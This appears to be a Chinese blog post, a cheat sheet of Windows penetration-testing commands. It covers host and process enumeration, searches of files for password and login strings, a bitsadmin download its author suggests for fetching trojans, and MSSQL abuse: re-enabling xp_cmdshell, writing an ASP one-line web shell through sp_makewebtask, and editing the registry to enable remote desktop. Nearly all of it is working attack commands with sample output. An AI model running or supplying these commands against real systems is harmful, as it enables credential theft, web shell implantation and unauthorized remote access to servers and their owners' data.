windows渗透命令

1. 获取操作系统信息

systeminfo

2.获取ARP缓存信息：

arp -a

结果：
接口: 169.254.249.47 --- 0xc
  Internet 地址         物理地址              类型
  169.254.255.255       ff-ff-ff-ff-ff-ff     静态
  224.0.0.22            01-00-5e-00-00-16     静态
  224.0.0.251           01-00-5e-00-00-fb     静态
  224.0.0.252           01-00-5e-00-00-fc     静态
  239.255.255.250       01-00-5e-7f-ff-fa     静态
  255.255.255.255       ff-ff-ff-ff-ff-ff     静态

3. 查看服务进程id

tasklist /SVC

cmd.exe                       9508 暂缺
conhost.exe                   2216 暂缺
chrome.exe                   11616 暂缺
navicat.exe                  11520 暂缺
chrome.exe                   11336 暂缺
chrome.exe                   11408 暂缺
WeChat.exe                    1672 暂缺
WeChatWeb.exe                11744 暂缺
chrome.exe                   11936 暂缺
notepad++.exe                12716 暂缺
HipsDaemon.exe               13504 HipsDaemon
usysdiag.exe                 11376 暂缺
chrome.exe                    5440 暂缺
chrome.exe                    6136 暂缺
YNoteCefRender.exe           13756 暂缺
chrome.exe                   11276 暂缺
chrome.exe                    1324 暂缺
chrome.exe                    4560 暂缺
taskeng.exe                   5552 暂缺
tasklist.exe                 13384 暂缺
WmiPrvSE.exe                 13928 暂缺

4.查看服务、进程和启动程序信息：

 wmic service list brief 
 wmic process list brief
 wmic startup list brief

这三个命令十分强大。
不过在win8下面好像被禁了。

5.敏感数据和目录

 dir /b/s password.txt
 dir /b/s config.* 
 findstr /si password *.xml *.ini *.txt
 findstr /si login *.xml *.ini *.txt

前两个命令是查文件的，比如在ctf比赛中，可以查flag.txt或者flag.*
后两个是是查找文件中的字符串。

6. 文件下载

bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip

可以用来下载木马什么的。不过速度确实不怎么快，用于下个小文件。

7.mssql相关
说到这个，就必须要介绍xp_cmdshell了，通过该存储过程可以在数据库服务器中执行任意系统命令。MSSQL2005,2008等之后版本的MSSQL都分别对系统存储过程做了权限控制以防止被滥用。

xp_cmdshell默认在mssql2000中是开启的，在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重修开启它。


EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
exec sp_configure

开启后可以执行语句：

sp_makewebtask写入一句话

如果未启用Web Assistant Procedures
SQLServer 阻止了对组件 'WebAssistant Procedures' 的过程'sys.xp_makewebtask' 的访问，因为此组件已作为此服务器安全配置的一部分而被关闭。

开启:

exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE

写入木马：

exec sp_makewebtask 'c:\1.asp','select''<%execute(request("ruo"))%>'''

注册表操作
启用存储过程:

exec sp_addextendedprocxp_regread,'xpstar.dll'

查看远程桌面开启

exec xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections'

开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections',
'REG_DWord',0

参考：http://www.freebuf.com/articles/system/114731.html
http://www.freebuf.com/articles/web/55577.html

windows渗透命令

推荐阅读更多精彩内容